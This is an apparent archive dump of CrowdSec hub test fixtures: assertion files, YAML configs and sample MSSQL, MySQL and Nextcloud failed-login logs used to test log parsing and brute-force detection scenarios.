results["s01-parse"]["crowdsecurity/mssql-text-logs"][13].Evt.Parsed["month"] == "12" results["s01-parse"]["crowdsecurity/mssql-text-logs"][13].Evt.Parsed["program"] == "mssql" results["s01-parse"]["crowdsecurity/mssql-text-logs"][13].Evt.Parsed["reason_message"] == "Could not find a login matching the name provided" results["s01-parse"]["crowdsecurity/mssql-text-logs"][13].Evt.Parsed["source_ip"] == "172.17.0.3" results["s01-parse"]["crowdsecurity/mssql-text-logs"][13].Evt.Parsed["message"] == "2022-12-20 12:37:15.23 Logon Login failed for user 'ROOT'. Reason: Could not find a login matching the name provided. [CLIENT: 172.17.0.3]" results["s01-parse"]["crowdsecurity/mssql-text-logs"][13].Evt.Parsed["time"] == "12:37:15.23" results["s01-parse"]["crowdsecurity/mssql-text-logs"][13].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/mssql-text-logs"][13].Evt.Meta["service"] == "mssql" results["s01-parse"]["crowdsecurity/mssql-text-logs"][13].Evt.Meta["source_ip"] == "172.17.0.3" results["s01-parse"]["crowdsecurity/mssql-text-logs"][13].Evt.Meta["subtype"] == "bad_user" results["s01-parse"]["crowdsecurity/mssql-text-logs"][13].Evt.Meta["datasource_path"] == "mssql-text-logs.log" len(results["s02-enrich"]["crowdsecurity/dateparse-enrich"]) == 7 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["day"] == "20" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["reason_message"] == "Password did not match that for the login provided" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["time"] == "12:36:54.17" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["user"] == "SA" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["year"] == "2022" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["date"] == "2022-12-20" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["message"] == "2022-12-20 12:36:54.17 Logon Login failed for user 'SA'. Reason: Password did not match that for the login provided. [CLIENT: 172.17.0.3]" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["month"] == "12" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["program"] == "mssql" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["source_ip"] == "172.17.0.3" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_path"] == "mssql-text-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["service"] == "mssql" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["source_ip"] == "172.17.0.3" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["subtype"] == "bad_password" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["timestamp"] == "2022-12-20T12:36:54.17Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Enriched["MarshaledTime"] == "2022-12-20T12:36:54.17Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["date"] == "2022-12-20" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["message"] == "2022-12-20 12:36:56.29 Logon Login failed for user 'SA'. Reason: Password did not match that for the login provided. [CLIENT: 172.17.0.3]" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["reason_message"] == "Password did not match that for the login provided" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["source_ip"] == "172.17.0.3" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["year"] == "2022" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["day"] == "20" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["month"] == "12" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["program"] == "mssql" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["time"] == "12:36:56.29" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["user"] == "SA" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["service"] == "mssql" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["source_ip"] == "172.17.0.3" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["subtype"] == "bad_password" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["timestamp"] == "2022-12-20T12:36:56.29Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["datasource_path"] == "mssql-text-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Enriched["MarshaledTime"] == "2022-12-20T12:36:56.29Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["time"] == "12:36:56.83" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["user"] == "SA" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["date"] == "2022-12-20" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["day"] == "20" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["message"] == "2022-12-20 12:36:56.83 Logon Login failed for user 'SA'. Reason: Password did not match that for the login provided. [CLIENT: 172.17.0.3]" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["program"] == "mssql" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["month"] == "12" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["reason_message"] == "Password did not match that for the login provided" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["source_ip"] == "172.17.0.3" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["year"] == "2022" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["datasource_path"] == "mssql-text-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["service"] == "mssql" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["source_ip"] == "172.17.0.3" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["subtype"] == "bad_password" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["timestamp"] == "2022-12-20T12:36:56.83Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Enriched["MarshaledTime"] == "2022-12-20T12:36:56.83Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["message"] == "2022-12-20 12:36:57.23 Logon Login failed for user 'SA'. Reason: Password did not match that for the login provided. [CLIENT: 172.17.0.3]" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["program"] == "mssql" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["reason_message"] == "Password did not match that for the login provided" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["time"] == "12:36:57.23" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["date"] == "2022-12-20" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["day"] == "20" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["user"] == "SA" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["year"] == "2022" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["month"] == "12" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["source_ip"] == "172.17.0.3" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["timestamp"] == "2022-12-20T12:36:57.23Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["datasource_path"] == "mssql-text-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["service"] == "mssql" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["source_ip"] == "172.17.0.3" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["subtype"] == "bad_password" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Enriched["MarshaledTime"] == "2022-12-20T12:36:57.23Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["day"] == "20" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["message"] == "2022-12-20 12:36:57.59 Logon Login failed for user 'SA'. Reason: Password did not match that for the login provided. [CLIENT: 172.17.0.3]" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["time"] == "12:36:57.59" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["user"] == "SA" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["source_ip"] == "172.17.0.3" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["year"] == "2022" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["date"] == "2022-12-20" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["month"] == "12" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["program"] == "mssql" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["reason_message"] == "Password did not match that for the login provided" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["datasource_path"] == "mssql-text-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["service"] == "mssql" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["source_ip"] == "172.17.0.3" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["subtype"] == "bad_password" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["timestamp"] == "2022-12-20T12:36:57.59Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Enriched["MarshaledTime"] == "2022-12-20T12:36:57.59Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["date"] == "2022-12-20" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["message"] == "2022-12-20 12:36:57.94 Logon Login failed for user 'SA'. Reason: Password did not match that for the login provided. [CLIENT: 172.17.0.3]" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["program"] == "mssql" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["reason_message"] == "Password did not match that for the login provided" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["year"] == "2022" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["day"] == "20" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["month"] == "12" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["source_ip"] == "172.17.0.3" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["time"] == "12:36:57.94" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["user"] == "SA" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["service"] == "mssql" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["source_ip"] == "172.17.0.3" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["subtype"] == "bad_password" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["timestamp"] == "2022-12-20T12:36:57.94Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["datasource_path"] == "mssql-text-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Enriched["MarshaledTime"] == "2022-12-20T12:36:57.94Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Parsed["year"] == "2022" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Parsed["date"] == "2022-12-20" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Parsed["month"] == "12" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Parsed["reason_message"] == "Could not find a login matching the name provided" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Parsed["time"] == "12:37:15.23" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Parsed["user"] == "ROOT" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Parsed["day"] == "20" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Parsed["message"] == "2022-12-20 12:37:15.23 Logon Login failed for user 'ROOT'. Reason: Could not find a login matching the name provided. [CLIENT: 172.17.0.3]" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Parsed["program"] == "mssql" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Parsed["source_ip"] == "172.17.0.3" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Meta["datasource_path"] == "mssql-text-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Meta["service"] == "mssql" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Meta["source_ip"] == "172.17.0.3" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Meta["subtype"] == "bad_user" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Meta["timestamp"] == "2022-12-20T12:37:15.23Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Enriched["MarshaledTime"] == "2022-12-20T12:37:15.23Z" len(results["success"][""]) == 0 hub1/.tests/mssql-text-logs/scenario.assert000066400000000000000000000000001437532772500212530ustar00rootroot00000000000000hub1/.tests/mysql-bf/000077500000000000000000000000001437532772500147065ustar00rootroot00000000000000hub1/.tests/mysql-bf/config.yaml000066400000000000000000000003261437532772500170400ustar00rootroot00000000000000parsers: - crowdsecurity/mysql-logs - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich scenarios: - crowdsecurity/mysql-bf postoverflows: - "" log_file: mysql-bf.log log_type: syslog ignore_parsers: true hub1/.tests/mysql-bf/mysql-bf.log000066400000000000000000000024101437532772500171400ustar00rootroot00000000000000Apr 16 05:13:40 ip-172-31-36-243.ap-northeast-2.compute.internal mysql[2769]: 2020-04-16T05:13:40.861934Z 344 [Note] Access denied for user 'root'@'27.155.87.54' (using password: YES) Apr 16 05:13:40 ip-172-31-36-243.ap-northeast-2.compute.internal mysql[2769]: 2020-04-16T05:13:40.861934Z 344 [Note] Access denied for user 'root'@'27.155.87.54' (using password: YES) Apr 16 05:13:40 ip-172-31-36-243.ap-northeast-2.compute.internal mysql[2769]: 2020-04-16T05:13:40.861934Z 344 [Note] Access denied for user 'root'@'27.155.87.54' (using password: YES) Apr 16 05:13:40 ip-172-31-36-243.ap-northeast-2.compute.internal mysql[2769]: 2020-04-16T05:13:40.861934Z 344 [Note] Access denied for user 'root'@'27.155.87.54' (using password: YES) Apr 16 05:13:40 ip-172-31-36-243.ap-northeast-2.compute.internal mysql[2769]: 2020-04-16T05:13:40.861934Z 344 [Note] Access denied for user 'root'@'27.155.87.54' (using password: YES) Apr 16 05:13:40 ip-172-31-36-243.ap-northeast-2.compute.internal mysql[2769]: 2020-04-16T05:13:40.861934Z 344 [Note] Access denied for user 'root'@'27.155.87.54' (using password: YES) Apr 16 05:13:40 ip-172-31-36-243.ap-northeast-2.compute.internal mysql[2769]: 2020-04-16T05:13:40.861934Z 344 [Note] Access denied for user 'root'@'27.155.87.54' (using password: YES) hub1/.tests/mysql-bf/parser.assert000066400000000000000000000000001437532772500174130ustar00rootroot00000000000000hub1/.tests/mysql-bf/scenario.assert000066400000000000000000000052031437532772500177340ustar00rootroot00000000000000"27.155.87.54" in results[0].Overflow.GetSources() results[0].Overflow.Sources["27.155.87.54"].IP == "27.155.87.54" results[0].Overflow.Sources["27.155.87.54"].Range == "" results[0].Overflow.Sources["27.155.87.54"].GetScope() == "Ip" results[0].Overflow.Sources["27.155.87.54"].GetValue() == "27.155.87.54" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "mysql-bf.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "mysql_failed_auth" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "27.155.87.54" results[0].Overflow.Alert.Events[0].GetMeta("user") == "root" results[0].Overflow.Alert.Events[1].GetMeta("datasource_path") == "mysql-bf.log" results[0].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[1].GetMeta("log_type") == "mysql_failed_auth" results[0].Overflow.Alert.Events[1].GetMeta("source_ip") == "27.155.87.54" results[0].Overflow.Alert.Events[1].GetMeta("user") == "root" results[0].Overflow.Alert.Events[2].GetMeta("datasource_path") == "mysql-bf.log" results[0].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[2].GetMeta("log_type") == "mysql_failed_auth" results[0].Overflow.Alert.Events[2].GetMeta("source_ip") == "27.155.87.54" results[0].Overflow.Alert.Events[2].GetMeta("user") == "root" results[0].Overflow.Alert.Events[3].GetMeta("datasource_path") == "mysql-bf.log" results[0].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[3].GetMeta("log_type") == "mysql_failed_auth" results[0].Overflow.Alert.Events[3].GetMeta("source_ip") == "27.155.87.54" results[0].Overflow.Alert.Events[3].GetMeta("user") == "root" results[0].Overflow.Alert.Events[4].GetMeta("datasource_path") == "mysql-bf.log" results[0].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[4].GetMeta("log_type") == "mysql_failed_auth" results[0].Overflow.Alert.Events[4].GetMeta("source_ip") == "27.155.87.54" results[0].Overflow.Alert.Events[4].GetMeta("user") == "root" results[0].Overflow.Alert.Events[5].GetMeta("datasource_path") == "mysql-bf.log" results[0].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[5].GetMeta("log_type") == "mysql_failed_auth" results[0].Overflow.Alert.Events[5].GetMeta("source_ip") == "27.155.87.54" results[0].Overflow.Alert.Events[5].GetMeta("user") == "root" results[0].Overflow.Alert.GetScenario() == "crowdsecurity/mysql-bf" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 6 hub1/.tests/mysql-logs/000077500000000000000000000000001437532772500152635ustar00rootroot00000000000000hub1/.tests/mysql-logs/config.yaml000066400000000000000000000003351437532772500174150ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich - ./parsers/s01-parse/crowdsecurity/mysql-logs.yaml scenarios: - "" postoverflows: - "" log_file: mysql-logs.log log_type: mysql ignore_parsers: false hub1/.tests/mysql-logs/mysql-logs.log000066400000000000000000000005151437532772500200760ustar00rootroot000000000000002020-04-16T05:13:40.861934Z 344 [Note] Access denied for user 'root'@'27.155.87.54' (using password: YES) 2020-04-16T05:13:41.144260Z 345 [Note] Access denied for user 'root'@'27.155.87.54' (using password: NO) 2021-10-28T08:06:45.411498Z 25 [Note] [MY-010926] [Server] Access denied for user 'seb'@'42.42.42.42' (using password: NO)hub1/.tests/mysql-logs/parser.assert000066400000000000000000000124101437532772500200000ustar00rootroot00000000000000len(results) == 4 len(results["s00-raw"]["crowdsecurity/non-syslog"]) == 3 results["s00-raw"]["crowdsecurity/non-syslog"][0].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Parsed["message"] == "2020-04-16T05:13:40.861934Z 344 [Note] Access denied for user 'root'@'27.155.87.54' (using password: YES)" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Parsed["program"] == "mysql" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Meta["datasource_path"] == "mysql-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][1].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Parsed["message"] == "2020-04-16T05:13:41.144260Z 345 [Note] Access denied for user 'root'@'27.155.87.54' (using password: NO)" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Parsed["program"] == "mysql" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Meta["datasource_path"] == "mysql-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][2].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Parsed["message"] == "2021-10-28T08:06:45.411498Z 25 [Note] [MY-010926] [Server] Access denied for user 'seb'@'42.42.42.42' (using password: NO)" results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Parsed["program"] == "mysql" results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Meta["datasource_path"] == "mysql-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Meta["datasource_type"] == "file" len(results["s01-parse"]["crowdsecurity/mysql-logs"]) == 3 results["s01-parse"]["crowdsecurity/mysql-logs"][0].Success == true results["s01-parse"]["crowdsecurity/mysql-logs"][0].Evt.Parsed["message"] == "2020-04-16T05:13:40.861934Z 344 [Note] Access denied for user 'root'@'27.155.87.54' (using password: YES)" results["s01-parse"]["crowdsecurity/mysql-logs"][0].Evt.Parsed["program"] == "mysql" results["s01-parse"]["crowdsecurity/mysql-logs"][0].Evt.Parsed["source_ip"] == "27.155.87.54" results["s01-parse"]["crowdsecurity/mysql-logs"][0].Evt.Parsed["time"] == "2020-04-16T05:13:40.861934Z" results["s01-parse"]["crowdsecurity/mysql-logs"][0].Evt.Parsed["user"] == "root" results["s01-parse"]["crowdsecurity/mysql-logs"][0].Evt.Parsed["using_password"] == "YES" results["s01-parse"]["crowdsecurity/mysql-logs"][0].Evt.Meta["datasource_path"] == "mysql-logs.log" results["s01-parse"]["crowdsecurity/mysql-logs"][0].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/mysql-logs"][0].Evt.Meta["log_type"] == "mysql_failed_auth" results["s01-parse"]["crowdsecurity/mysql-logs"][0].Evt.Meta["source_ip"] == "27.155.87.54" results["s01-parse"]["crowdsecurity/mysql-logs"][0].Evt.Meta["user"] == "root" results["s01-parse"]["crowdsecurity/mysql-logs"][1].Success == true results["s01-parse"]["crowdsecurity/mysql-logs"][1].Evt.Parsed["message"] == "2020-04-16T05:13:41.144260Z 345 [Note] Access denied for user 'root'@'27.155.87.54' (using password: NO)" results["s01-parse"]["crowdsecurity/mysql-logs"][1].Evt.Parsed["program"] == "mysql" results["s01-parse"]["crowdsecurity/mysql-logs"][1].Evt.Parsed["source_ip"] == "27.155.87.54" results["s01-parse"]["crowdsecurity/mysql-logs"][1].Evt.Parsed["time"] == "2020-04-16T05:13:41.144260Z" results["s01-parse"]["crowdsecurity/mysql-logs"][1].Evt.Parsed["user"] == "root" results["s01-parse"]["crowdsecurity/mysql-logs"][1].Evt.Parsed["using_password"] == "NO" results["s01-parse"]["crowdsecurity/mysql-logs"][1].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/mysql-logs"][1].Evt.Meta["log_type"] == "mysql_failed_auth" results["s01-parse"]["crowdsecurity/mysql-logs"][1].Evt.Meta["source_ip"] == "27.155.87.54" results["s01-parse"]["crowdsecurity/mysql-logs"][1].Evt.Meta["user"] == "root" results["s01-parse"]["crowdsecurity/mysql-logs"][1].Evt.Meta["datasource_path"] == "mysql-logs.log" results["s01-parse"]["crowdsecurity/mysql-logs"][2].Success == true results["s01-parse"]["crowdsecurity/mysql-logs"][2].Evt.Parsed["err_code"] == "MY-010926" results["s01-parse"]["crowdsecurity/mysql-logs"][2].Evt.Parsed["message"] == "2021-10-28T08:06:45.411498Z 25 [Note] [MY-010926] [Server] Access denied for user 'seb'@'42.42.42.42' (using password: NO)" results["s01-parse"]["crowdsecurity/mysql-logs"][2].Evt.Parsed["program"] == "mysql" results["s01-parse"]["crowdsecurity/mysql-logs"][2].Evt.Parsed["source_ip"] == "42.42.42.42" results["s01-parse"]["crowdsecurity/mysql-logs"][2].Evt.Parsed["subsystem"] == "Server" results["s01-parse"]["crowdsecurity/mysql-logs"][2].Evt.Parsed["time"] == "2021-10-28T08:06:45.411498Z" results["s01-parse"]["crowdsecurity/mysql-logs"][2].Evt.Parsed["user"] == "seb" results["s01-parse"]["crowdsecurity/mysql-logs"][2].Evt.Parsed["using_password"] == "NO" results["s01-parse"]["crowdsecurity/mysql-logs"][2].Evt.Meta["user"] == "seb" results["s01-parse"]["crowdsecurity/mysql-logs"][2].Evt.Meta["datasource_path"] == "mysql-logs.log" results["s01-parse"]["crowdsecurity/mysql-logs"][2].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/mysql-logs"][2].Evt.Meta["log_type"] == "mysql_failed_auth" results["s01-parse"]["crowdsecurity/mysql-logs"][2].Evt.Meta["source_ip"] == "42.42.42.42" hub1/.tests/nextcloud-bf/000077500000000000000000000000001437532772500155465ustar00rootroot00000000000000hub1/.tests/nextcloud-bf/config.yaml000066400000000000000000000004321437532772500176760ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich - ./parsers/s01-parse/crowdsecurity/nextcloud-logs.yaml scenarios: - ./scenarios/crowdsecurity/nextcloud-bf.yaml postoverflows: - "" log_file: nextcloud-bf.log log_type: Nextcloud labels: {} ignore_parsers: true hub1/.tests/nextcloud-bf/nextcloud-bf.log000066400000000000000000000154401437532772500206470ustar00rootroot00000000000000{"reqId":"U1rsiIxFtovEqTt77CJN","level":2,"time":"2022-01-16T15:42:37+00:00","remoteAddr":"2001:db8::d71","user":"--","app":"no app in context","method":"POST","url":"/login","message":"Login failed: foo (Remote IP: 2001:db8::d71)","userAgent":"Mozilla/5.0 (X11; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0","version":"23.0.0.10"} {"reqId":"U1rsiIxFtovEqTt77CJN","level":1,"time":"2022-01-16T15:42:37+00:00","remoteAddr":"2001:db8::d72","user":"--","app":"core","method":"POST","url":"/login","message":"Bruteforce attempt from \"2001:db8::d72\" detected for action \"login\".","userAgent":"Mozilla/5.0 (X11; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0","version":"23.0.0.10"} {"reqId":"U1rsiIxFtovEqTt77CJN","level":2,"time":"2022-01-16T15:42:37+00:00","remoteAddr":"2001:db8::d71","user":"--","app":"no app in context","method":"POST","url":"/login","message":"Login failed: foo1 (Remote IP: 2001:db8::d71)","userAgent":"Mozilla/5.0 (X11; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0","version":"23.0.0.10"} {"reqId":"U1rsiIxFtovEqTt77CJN","level":1,"time":"2022-01-16T15:42:37+00:00","remoteAddr":"2001:db8::d72","user":"--","app":"core","method":"POST","url":"/login","message":"Bruteforce attempt from \"2001:db8::d72\" detected for action \"login\".","userAgent":"Mozilla/5.0 (X11; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0","version":"23.0.0.10"} {"reqId":"U1rsiIxFtovEqTt77CJN","level":2,"time":"2022-01-16T15:42:37+00:00","remoteAddr":"2001:db8::d71","user":"--","app":"no app in context","method":"POST","url":"/login","message":"Login failed: foo2 (Remote IP: 2001:db8::d71)","userAgent":"Mozilla/5.0 (X11; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0","version":"23.0.0.10"} {"reqId":"U1rsiIxFtovEqTt77CJN","level":1,"time":"2022-01-16T15:42:37+00:00","remoteAddr":"2001:db8::d72","user":"--","app":"core","method":"POST","url":"/login","message":"Bruteforce attempt from \"2001:db8::d72\" detected for action \"login\".","userAgent":"Mozilla/5.0 (X11; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0","version":"23.0.0.10"} {"reqId":"U1rsiIxFtovEqTt77CJN","level":2,"time":"2022-01-16T15:42:37+00:00","remoteAddr":"2001:db8::d71","user":"--","app":"no app in context","method":"POST","url":"/login","message":"Login failed: foo3 (Remote 